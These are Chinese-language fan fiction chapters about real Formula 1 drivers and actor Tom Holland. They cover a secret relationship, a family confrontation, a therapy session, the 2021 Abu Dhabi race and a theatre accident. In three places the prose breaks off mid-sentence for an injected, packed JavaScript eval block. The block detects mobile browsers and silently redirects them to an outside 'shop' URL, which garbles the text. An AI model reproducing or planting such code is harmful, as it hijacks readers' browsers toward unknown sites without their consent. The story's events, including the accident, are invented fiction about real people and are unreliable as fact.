“Maxie！”他还没走近就张开双臂，“我就知道你躲在哪里玩，没想到会在加州逮到你！” 麦克斯拍掉了手上的沙子，有些局促地迎上去跟他抱了一下：“嗨！Dan。真巧，我……我和朋友来度个假。” 丹尼尔顺势看向林利，停顿了一下。他伸出湿漉漉的手：“嘿，我是丹尼尔，这个人在围场最好的朋友。” 林利有些紧张地蹭蹭手，握了上去：“林利，麦克斯的……朋友。” 丹尼尔眉毛微微一挑，暖栗色的眼睛在两人之间转了一圈。随机一屁股坐在沙滩上，轻快地开启了话题：“介意我也坐下吗？” 他们聊起丹尼尔的“逃离欧洲”计划、迈凯伦的新赛季、麦克斯的夏休。林利大多时候在听，偶尔插一两句。 海风吹乱了他的头发，麦克斯很自然地伸手帮他拨开，手指在他耳后摸了摸。 林利下意识看向对面。 丹尼尔不动声色地移开目光，表情变化很微妙。他了然的没有追问，顺畅地接着刚才的话题。 过了一会，也许是气氛太过放松。麦克斯似乎彻底忘记了社交距离，胳膊顺手搭在了林利的膝盖上。 这可不妙。林利悄悄用手肘顶了顶麦克斯，眼神疯狂示意。 麦克斯反而停下动作。他顺势握住林利，偏过头用眼神询问着。 林利心中一紧，立刻明白了眼前人是什么意思。天知道他有多想摇头，可麦克斯看向他时，眼底闪烁着这样赤诚的渴求。他发现自己无论如何也给不出拒绝的信号。 林利深吸一口气，对着麦克斯轻轻点了点头。 麦克斯的表情郑重起来，转过头：“Dan，” 他紧紧握住林利的手，在阳光下，在他的好朋友面前。 “林利和我在一起了。” 丹尼尔擦冲浪板的动作停住了，眼睛一眨不眨地看向他们。突然，他猛地一拍大腿，脸上绽开一个巨大的笑容。 “我就知道！”他笑得前仰后合，“哈哈哈，我就知道是这样！” 麦克斯原本紧绷的下颌松开，一脸不可置信：“你怎么知道的？” “拜托，Maxie。”丹尼尔收起笑，“我看到过好几次你一直盯着手机，还挂着那种诡异的笑。我见过你赢比赛的笑容，但是这个？”他指着麦克斯，“这可绝对不一样！” 林利忍不住捂住脸笑出声：噢！麦克斯，你到底都干了些什么。 “等等。”丹尼尔突然严肃起来，“你们在一起多久了？” 麦克斯挠挠头：“从……2018年？” “三年？！”丹尼尔夸张地捂住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277865|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸口，“你对我隐藏了三年！” 林利红着脸小声解释：“实际上，真正确认关系是在2019年底……” “那也是很久了！”丹尼尔摇摇头，比了个大拇指，“我很佩服你们，真的。” 午餐是在海边的一家露天餐厅解决的。 “所以，还有谁知道？”丹尼尔一边切着塔可，一边好奇发问。 麦克斯皱着眉回忆：“你认识的？GP、我妈妈和维多利亚。” “哇哦，”丹尼尔嘴巴微微张开，放下叉子，“我感觉更荣幸了。我知道这有多难，尤其在现在的舆论环境下。我会把它带进坟墓的，除非哪天麦克斯在赛道上把我撞出去，我可能会考虑爆料。” “嘿！”麦克斯不满地反驳。 “开玩笑的，”他的语气变得温柔，“我是真心为你们感到高兴。我是说，你们肯定认准彼此了，对吧？” 林利脸颊发烫，他在桌布的遮掩下悄悄握住麦克斯的手，十指交叉。 “所以上次某人跟我说只想在家看网飞的时候……”丹尼尔促狭地挑起眉毛。 “天啊，Dan，闭嘴！”麦克斯呛了回去。 “我就说嘛，你什么时候变成宅男了，现在说得通了。”丹尼尔没打算放过他，“还有上次说太累了拒绝我的派对邀请，拜托，你什么时候嫌蹦迪累过？” 林利忍着笑，试图圆场：“他是真的累了，我们……那时候在夏威夷。” “啊，夏威夷，懂了。”丹尼尔拉长尾音，“这就是命运，麦克斯，你躲到太平洋对岸也没用，还是让我给撞见了。” 离别时，丹尼尔骑上他的单车，对着两人比了一个拉链封嘴手势。 “享受剩下的假期！如果你们有任何需要帮助，不论是掩护，或者只想找个人说说话，尽管打给我！” 他转过头，对着林利大喊：“林！记得多教教麦克斯演戏！他撒谎的水平简直烂透了！” 麦克斯对着丹尼尔的背影比了个中指，脸上却挂着灿烂的笑容。他拉起林利的手走向停车场，步伐轻快。 37.不完美的练习 十一月中旬，伦敦。 林利站在父母家门口按门铃，艾琳娜开门时正在讲电话，用口型示意他进来，继续对着手机说：“对，下周三的慈善宴会我会到……让斯黛拉确认一下座位安排。” 她挂断电话，视线这才落在林利身上，从他湿透的头发一路扫向滴水的风衣，蹙起眉：“进来吧，别把水带进来。” 阿利斯泰正在客厅看新闻，头也不抬地抛出一句“回来了”。 他盯着屏幕，手指在扶手上轻敲。林利看着他父亲的侧脸——五十多岁了，头发梳得一丝不苟，衬衫袖口挽到小臂，连在家里都是一副随时可以出门的状态。 几分钟后，阿利斯泰才按下遥控器静音：“竟然还知道回来，两个月连个像样的电话都没有。” “我在岛上，信号很差。”林利耸耸肩。 “演那个傻子？”阿利斯泰毫不掩饰地皱起鼻子，“导演的水平还行，你们有冲奖的计划吗？” 林利还没开口，艾琳娜端着茶盘走过来：“林，先上去洗个澡吧，看你头发湿成那样。” 晚餐的气氛一如既往，克制又严肃，刀叉碰撞瓷盘的声音在安静的餐厅里被放大。 “对了。”艾琳娜切下一块松露鸡，随口提起，“听说你和那个……麦克斯？分手了？” “你怎么知道？”林利提起警惕。 阿利斯泰皱眉打断：“等等，你和谁分手？” “没有不透风的墙。”艾琳娜满意地看向他，“这不是挺好的吗？你正在上升期，不适合谈这种恋爱。” “妈妈——” “我只是觉得你现在做了正确的选择，”艾琳娜微笑着放下叉子，“别让这些不入流的事影响你。” 林利嗤笑：“Huh，所以我终于得到了你的夸奖，真是不容易。” 阿利斯泰锐利的目光扫了过来：“到底发生什么了？” “没什么。”艾琳娜轻柔地盖过，“你儿子可能累了。” “我没累！”林利提起声音反驳，一直强压的冲动再也按捺不住，“我只是想问问，你们有没有哪怕一次，真的关心过我想要什么？” 阿利斯泰沉起脸：“这话什么意思？” 林利深吸一口气：“从我进门开始，有人问过我这两个月过得怎么样吗？问过我为什么分手吗？” “我们在给你空间，”艾琳娜纠正道，“因为我们尊重你。” “恐怕是你们从来没想过问！”林利打断她，“只要我按着你们期待的方向走，你们就满意了！” “你用这种语气和你妈妈说话？”阿利斯泰向后一靠，“真是长本事了，以为自己什么都懂了！” “我见过太多像你这样自以为是的年轻人，最后都摔得头破血流。我们替你规避风险，这是作为父母的责任。” 林利看着这张熟悉的、高高在上的脸，突然涌上一股深深的疲倦。 “我记得以前，菲利克斯一直欺负我，把我推进学校喷泉里。”他轻轻开口，“我和你们说了也没用，因为他家里有头衔，对吗？和他处好关系符合你们所谓的期待？” “够了！”阿利斯泰的嘴角绷成一条直线，“你现在是个成年人了，停止这些软弱的童年控诉吧。你想演什么就演什么、想和谁在一起就和谁在一起，我管不了你，但别把自己的问题推到我们头上。” 林利缓缓站了起来，看着这个从小像山一样压在他头顶的男人，第一次发现对方鬓角的白发和那股虚张声势的顽固。 “你说得对。”林利轻轻垂下睫毛，“我要为自己负责了。所以我决定……让你们退出我的生活。” …… 林利敲了敲汤姆·赫兰德家的门，他应邀来欣赏最新的蜘蛛侠“收藏”。 “嘿！”汤姆穿着肥大的卫衣，热情地给了林利一个拥抱，顺手把他拉进屋，“你终于来了！快快，我等不及让你看了。” 公寓很温馨，到处是他和家人的合照，茶几上摆着PlayStation手柄和一堆剧本。 “喝什么？茶、咖啡？”汤姆在厨房里忙活，大声嚷嚷，“还有Z上次留下的抹茶粉？我不知道怎么弄，但可以试试。” “茶就行。” 汤姆端着两杯热腾腾的茶走出来，开始疯狂吐槽：“你知道他们让我吊威亚吊了多久吗？我现在看到绿幕就想吐！” 林利在沙发上坐下，笑道：“你不是最喜欢做特技吗？” “我喜欢后空翻，不喜欢在空中一直晃！”汤姆手舞足蹈，“而且本尼一直在笑场，我就知道吊在那里太傻了。” “像个人肉沙袋。”他做了个被吊着挣扎的样子。 他带着林利逛完那一屋子手办，坐下来聊了一会拍摄。汤姆讲了一堆片场笑话，贝塔隆偷吃道具披萨、导演说错台词，当然……还有赞达亚。 “所以，”林利揶揄地挑眉，“你们公开之后怎么样？” “噢！别提了。”汤姆捂住脸，翻出手机递过来，“你看这个。” 他翻出一张自己在红毯上看着赞达亚的照片，配文：当她比你酷多了而你心知肚明。 林利别开脸偷笑。 “还有这个。”他又翻出一张他们的合照。赞达亚很拽地搂着一脸甜蜜的他自己，上面形象地配了两个emoji。 “网上都说我是粘人狗狗，”汤姆无奈地放下手机，“而Z是高冷的豹子。” “这不挺准确的吗？”林利调侃。 “滚吧。”汤姆笑着扔了个靠枕过来，“但说真的很诡异，大家都在分析我们的关系，说什么Z明显是主导的，我不够独立之类的。” “那你在乎吗？” 他想了想：“我刚开始会觉得，shit，我是不是真的太粘人了？要不要表现得酷一点？” “Z看到我这样，直接说‘我喜欢的就是你本来的样子，谁会在乎网上怎么说？’”他模仿着赞达亚的语气，“然后我就……好吧。” 林利笑着揉揉鼻子：“所以你确实是粘人的那个，不过说得对，谁管网上那些人。” “我倾向于用‘温柔的’。”汤姆摆摆手，“但是对，我确实会想她。你刷到过吗？有人统计我去《亢奋》片场探班的次数，说我担心她和内特。” “哦！怎么有人这么无聊？”林利皱起眉，“不过你也真够可以的，宣传期还能跑过去那么多次。” “因为我想她啊。”汤姆理所当然地说，“我们都太忙了，她那几个月基本没空，我有时间就飞过去。吃个饭、在她拖车里待一会。” 他喝了口茶：“其实网上那些评论我觉得挺有意思的。她确实更成熟？但那不代表我们关系里有什么强弱。” “是啊，一对完美情侣！”林利半开玩笑地比了个赞，试图压下心中悄悄的酸涩。爱情鸟，多美好啊。 “老实说？”汤姆耳根泛起一层红，“没有什么完美的，我们还在探索。” 他把茶杯放在桌上，神色认真了一些：“时差、档期，累得要死。我们没法只靠每周那几条干巴巴的消息，或者几个视频电话。你也知道，这样长久不了。” “所以我们现在有个规则。不管多忙，每周至少真正地聊一次，不是‘今天怎么样’那种。”说着，他举起两根指头比了个引号，“是告诉对方你在想什么，你的心情。” 汤姆看着林利，有点不好意思地挠挠头：“听起来是不是挺矫情的？但很有用的。毕竟如果连她都不能理解我的感受，我也会失落啊。” 哇哦。这下林利是真的开始佩服这对情侣。 他低头看向茶杯，不合时宜地出神，想到了他和麦克斯。如果以前他们也这样坦诚心扉，会不会……？ 汤姆站起身：“再来杯茶吗？” 气氛又轻松起来。他去厨房的路上还在滔滔不绝：“Z上次来我家，我妈一直在夸她‘好有礼貌、好sweet’，搞得我像个野孩子。” …… 第二周，林利终于鼓起勇气寻找专业帮助。 心理咨询室在汉普斯特德，一栋维多利亚式建筑的三层。治疗师米歇尔是位五十岁左右的灰发女性，戴着无框眼镜。 林利坐在她对面的沙发上，不知道该把手放哪里。 “和我说说，什么让你来到这里。”米歇尔鼓励地看着他。 林利讲了讲自己在伊尼什莫尔岛上的那些领悟，还有和家人的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282580|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢而散。 “谢谢你的分享，”米歇尔说，“那一定很不容易。” “我注意到一个情况，”她在纸上写着，“你提到很多次‘我应该’和‘我不能’。比如‘我应该理解他很忙’、‘我应该更关心’、‘我不能让父母失望’。” 林利点头：“因为……这些都是对的吧？” “对的？”米歇尔重复这个词，“对谁来说？” 米歇尔把本子转过来给他看，上面圈出了十几个“应该”和“不能”。 “这些‘应该’，是你自己想的，还是别人告诉你的？” 林利看着那些字眼，脸上的笑意僵住：“我……我不知道。” “我们试试这个。”米歇尔说，“‘我不能给他添麻烦’，如果把‘不能’去掉，这句话变成了什么？” “我……给他添麻烦？”林利皱眉，“这样听起来很糟。” “那如果是‘我需要他的帮助，但我害怕这会成为负担’呢？” 林利手指无意识抠着掌心。 “这两句话有什么区别？”米歇尔探过身。 “第一句是陈述，第二句是……我的感受。” “对，”米歇尔靠回椅背，“‘我不能’是一个规则，一个绝对的禁止。但‘我害怕’是一种情绪，是可以被理解、被讨论的。” 她停顿了一下：“这些‘应该’和‘不能’，它们给你提供了什么保护？” 林利愣住，不太理解米歇尔的意思。 “我们的大脑很聪明。”米歇尔笑了一下，“它创作这些规则是有原因的，通常是为了保护我们不受伤害。所以我想知道，如果违反了这些规则，你害怕会发生什么？” 林利盯着自己的鞋尖，想了很久：“我害怕……他们会觉得我是个负担。然后他们就不想跟我好好相处了。” “但这个规则有个问题，”米歇尔慢慢地说，“为了避免被拒绝，你实际上在阻止别人真正了解你。因为他们看到的是‘不需要任何东西的林利’，而不是真实的你。” 林利低着声：“我知道……我总是在躲避、转移话题，我知道。” “很好，”米歇尔说，“发现自我是第一步，但知道和改变之间还有很长的路。我想知道，每次你想逃的瞬间，是感觉到危险了吗？” 林利移开视线：“对，我感觉会发生糟糕的事。” “但实际上会发生什么？”米歇尔靠前，“比如银石那次，如果你没有离开医院，留下来说出你的想法、你的依恋，最糟会怎么样？” 林利愣住，他从没这样想过。 米歇尔放下本子：“你看，这就是逃避的伎俩，它让你感到安全，代价是你永远无法知道，也许那个危险根本不存在。” 林利不知道该说什么，他能去设想那些可能吗？ 米歇尔伸出一只手：“让我们更近一步，识别出这个模式是怎么运作的。你每次觉得不妙的时候，身体有什么反应？” 林利想了想：“就是……胸口发紧，脑子里有个声音告诉我离开这里。” “好，这就是你的预警系统。”米歇尔说，“下次当你有同样的感觉，就要做出选择了。你可以转移话题、离开，或者……你可以只是试试留下几分钟。” 林利不是很确定。 “我知道这听起来很难。”米歇尔倒了杯茶给他，“所以我们从小的步骤做起，不是让你立刻去面对大风大浪，而是从最简单的开始，比如朋友问‘你还好吗’，试着告诉他们我其实有点累，看看会发生什么。” 林利抬起眼，目光里满是迟疑：“可是如果，还是失去了该怎么办？” “那我们就知道，他不是对的人。但至少给了自己一次被真正看见的机会，不是吗？”米歇尔停顿了一下，“你已经走出了第一步。” “这很不容易，现在我们一起走接下来的路。” 走出咨询室，天已经黑透了。 林利等红灯的时候随手打开IG，准备快速清理垃圾私信，都是陌生账号，粉丝、推广、乱七八糟的。 最新的一条来自@turn_twelve，头像是两只豹猫。 林利的手指停住。 38.阿布扎比 2021年12月12日。 麦克斯醒得很早，窗外天还没完全亮。 他翻了个身，额头上有一层薄薄的汗。369.5，这个数字在他脑海里盘旋了一整夜。 积分完全相同，冠军只有一个。 他摸到床头的手机，习惯性切换到@turn_twelve的IG小号。私信列表里林利的头像排在第一个。 麦克斯点进去，对话框全是他单方面发过去的猫。 林利从没有回复过。 麦克斯点开相机，镜头里映出窗玻璃上他模糊的身影，没穿衣服的上半身被晨光勾勒出深浅不一的颜色。 他对着这张照片看了半天，太过了，显得他故意诱导什么一样。删掉，他退而求其次，从相册里翻出一张存好的照片：Jimmy正把爪子搭在Sassy的脑门上，两只猫睡得四仰八叉。 屏幕显示“已发送”。 麦克斯把手机扔回床上，闭上眼睛。 今天，他必须赢。 …… 发车区。 麦克斯跨进座舱，拉紧安全带，最后一次调整头盔。 “Radio check” GP的声音听起来格外严肃。 “Loud and clear” 红灯熄灭。 汉密尔顿从身侧猛地窜出。一号弯前，黑色尾翼蛮横地切向内线，抢占了领先位置。麦克斯被迫扎进脏空气里，在紊流中努力保持方向。 “P2，保持专注。” 冷静，比赛才刚开始。 时间在枯燥的追逐中流逝。 第三圈、第五圈、第十圈……麦克斯不断试探着把车头探向内侧，却一次次被逼回。汗水渗进眼角，他用力抬起眼皮，紧盯着前方。 第十三圈进站，麦克斯率先换上硬胎。undercut本该是翻盘的机会，出站后利用新胎速度优势反超对手。但汉密尔顿下一圈也立即进站，成功化解了这次进攻。 汉密尔顿重新领先，而留在场上的佩雷兹还没进站。 第二十圈，汉密尔顿追到佩雷兹身后。佩雷兹接到指令，用几乎磨损殆尽的软胎在直道和弯道间顽强防守。他不断利用交叉线反超回领先位置，硬生生帮麦克斯争取到宝贵的时间。 然而第三十圈、第四十圈……差距再度拉开。麦克斯拼命追赶，五号弯延迟刹车，十一号弯贴着路肩碾过，他压榨着赛车每一点极限。燃油在减少，氧气在闷热的头盔里变得稀薄。 就在绝望开始蔓延的第五十三圈，明晃晃的双黄旗突然挥动。 “安全车！拉提菲撞了。” 麦克斯的心跳猛然作响。安全车进场，所有车都会被迫降速。 “麦克斯，这是我们最后的机会。” 闪电般换上新软胎，麦克斯杀回赛道。汉密尔顿为了保住位置选择留场，用的是跑了四十多圈的硬胎。 他们之间还隔着五辆被套圈的车。 “那些套圈车为什么还不让开？”麦克斯掩饰不住焦躁。 “我们在处理，准备好。” 一圈、两圈……麦克斯紧紧握住方向盘，一眨不眨地盯着前方，生怕错过这次绝无仅有的机会。 安全车灯熄灭，套圈车被清空。 绿旗扬起！最后一圈决定胜负。 汉密尔顿率先弹射，麦克斯死死咬住。一号弯到四号弯，两辆赛车几乎贴在了一起，汉密尔顿试图变换防守。 五号弯，第一个超车区。 麦克斯不再等待。他晚一步刹车，从内线猛地扎了进去。 就是现在！ 新软胎爆发出巨大优势，麦克斯硬是把车头挤到汉密尔顿身侧。 摩擦、心跳、引擎的轰鸣，血液疯狂奔涌。 出弯瞬间，深蓝色的赛车从黑色影子里冲了出来。 超过去了！ 剩下的几个弯角在他眼里变得模糊。九号弯，汉密尔顿试图利用尾流追赶，想夺回失去的位置。但麦克斯不会给他机会，强迫黑绿色的赛车滑向外侧，让他彻底失去了争夺的可能。 十四号弯，麦克斯压着路肩冲向前方挥舞的方格旗。 “麦克斯·维斯塔潘，你是世界冠军！世界冠军！”TR里霍纳的声音亢奋到变形，整个红牛车库的欢呼声几乎要掀翻耳麦。 麦克斯压抑的情绪一泄而出：“YEEEEEESS! YES! OH MY GOD!” 他把车停在P1牌子前，双手高举。在漫天炸开的礼花下，对着阿布扎比的夜空狠狠挥出拳头。 世界冠军。 接下来的一切雾蒙蒙的。 所有人都在拥抱他、拍他、喊他的名字。巨大的兴奋撞得他失神，思绪被冲得七零八落。他甚至感觉不到疲惫，只剩下心脏疯狂跳动，逼得他眼眶发热，忍不住落下泪来。 啊，他赢了啊。 这一年，这么多年，他一路拼着股劲闯过来，终于在最后一圈把世界冠军攥在手里。那些积攒了无数个日夜的压力，那些质疑、那些失望、那些咬牙坚持，都在这一刻轰然崩塌。 麦克斯站上领奖台，掌声与欢呼淹没了一切。他环顾四周，GP、Jos、妈妈……所有他亲密和信赖的人都笑得如此幸福。 他的目光下意识地在人群中找寻，恍惚间好像看见了那个熟悉的身影。 他差点喊出声，想要跳下去。 “麦克斯！照片！” 他猛地回过神，幻影消失在激动的人群中。心底的酸涩被飞快压下去，麦克斯扬起笑容，对着镜头挥手。 他是冠军。 …… 庆祝派对上，麦克斯在人群中穿梭，接受每一个祝贺，笑着说谢谢。他喝了很多，奇怪地越来越清醒。 丹尼尔端着酒杯走过来。 “世界冠军！你做到了！”他张开双臂用力抱了过来。 麦克斯笑着回抱：“谢了，Dan。” 丹尼尔往后退了一步，目光越过麦克斯的肩膀，扫了一圈周围。 “林利呢？”他压低声音，“他没来吗？” 麦克斯握紧酒杯，眼神闪躲着看向地面：“他在伦敦。” “哦。”丹尼尔点点头，盯着麦克斯看了半晌，表情变得担忧，“你们……还好吧？” 麦克斯僵硬地扯了扯嘴角，想用“很好”敷衍过去。 “我不知道。”他最终叹了口气，声音低得几乎被嘈杂淹没，“我真的不知道。” 丹尼尔笑容凝固，沉默了几秒。 “我不清楚发生了什么，”他说，“但我记得加州那天，你看着他的样子，哇哦。” 麦克斯牵动了一下嘴角。 “听着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286678|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，”他重重地捏住麦克斯的肩膀，“我不知道是谁的错，你们都有责任，或者只是时机不对。如果他对你真的重要……” 丹尼尔盯着麦克斯的眼睛：“别让冠军成为你今天唯一得到的东西。” 麦克斯抬起头，看向丹尼尔透彻的眼神。 “想清楚什么是你绝对不能弄丢的，Maxie，去争取。” 他碰了下香槟，转身去了另一端欢呼的人群里。 麦克斯僵在原地，盯着杯子里升腾的气泡。 丹尼尔的话在他脑海里回荡。他忽然生出一股蛮横的冲动，他要打给林利，告诉他……告诉他什么？告诉他自己赢了？ 周围涌动的热浪让他喘不过气。他拨开人群躲进洗手间，门一关上，外面的喧嚣立刻变得遥远。 他摸出手机，早晨发的那张猫的照片还显示未读。 麦克斯点开对话框，突然生出几分怯意。 他该怎么开场？嗨？好久不见？晚上好？你看比赛了吗？ 他往上滑着聊天记录，试着让自己找到一个不那么讨嫌的开场白： 【你什么时候回来】【这周有空吗】 【想见你】【我以为你会留下来】 【想我了吗】【和我一起】 【你在哪】 【你在哪】 【我想你】 麦克斯一动不动地盯着这些信息，一条又一条。 为什么这么多要求？要时间、要陪伴、要回应，要一种能抚平自己情绪的绝对确认。 可他呢？好像很少问起林利想要什么。 自惭形秽的酸涩爬了上来，让他懊悔地捂住脸。 天啊，他怎么会这么混蛋。 蒙扎那晚林利的控诉在耳边响起：“你想要吞掉我。” 他当时很生气，觉得林利在指责他、不理解他。但现在，看着手机屏幕上那些密密麻麻的字眼…… 他突然发现，自己一直以来都太过贪婪，像在赛道上争夺胜利一样，在感情里也只想索取。 丹尼尔说得对。他应该去争取，但不该是炫耀自己拿了冠军，而是……一个能让林利原谅他的机会。 麦克斯深吸一口气。也许一切都已经太迟，但至少，他得先说出那句“对不起”。 “嘟……嘟……嘟” 漫长的等待。 “你好？” 是个陌生的男声，听起来很慌乱。 麦克斯愣住：“……林利呢？” “你是他的家人吗？谢天谢地，”对方松了一口气，“他出了事故。” 麦克斯的心脏停了一拍。 “在阿波罗剧院，”对方语无伦次，“楼座区域坍塌了，就在刚才，波及了好几排座位，他被掉下来的石膏砸到了。” 背景里传来救护车鸣笛声。 “他现在怎么样？”麦克斯听见自己发出陌生的声音，“他……” 视线在旋转，洗手间的墙壁像是要朝他倾倒过来。 “他昏迷了。”对方说，“我们在救护车上，医生说具体的伤势得等到了医院再看。” “哪个医院？” “UCLH。对不起我得挂了，医护人员需要……” “嘟——” 门外的欢呼声还在继续，庆祝着世界冠军的诞生。 他的耳朵一阵嗡鸣。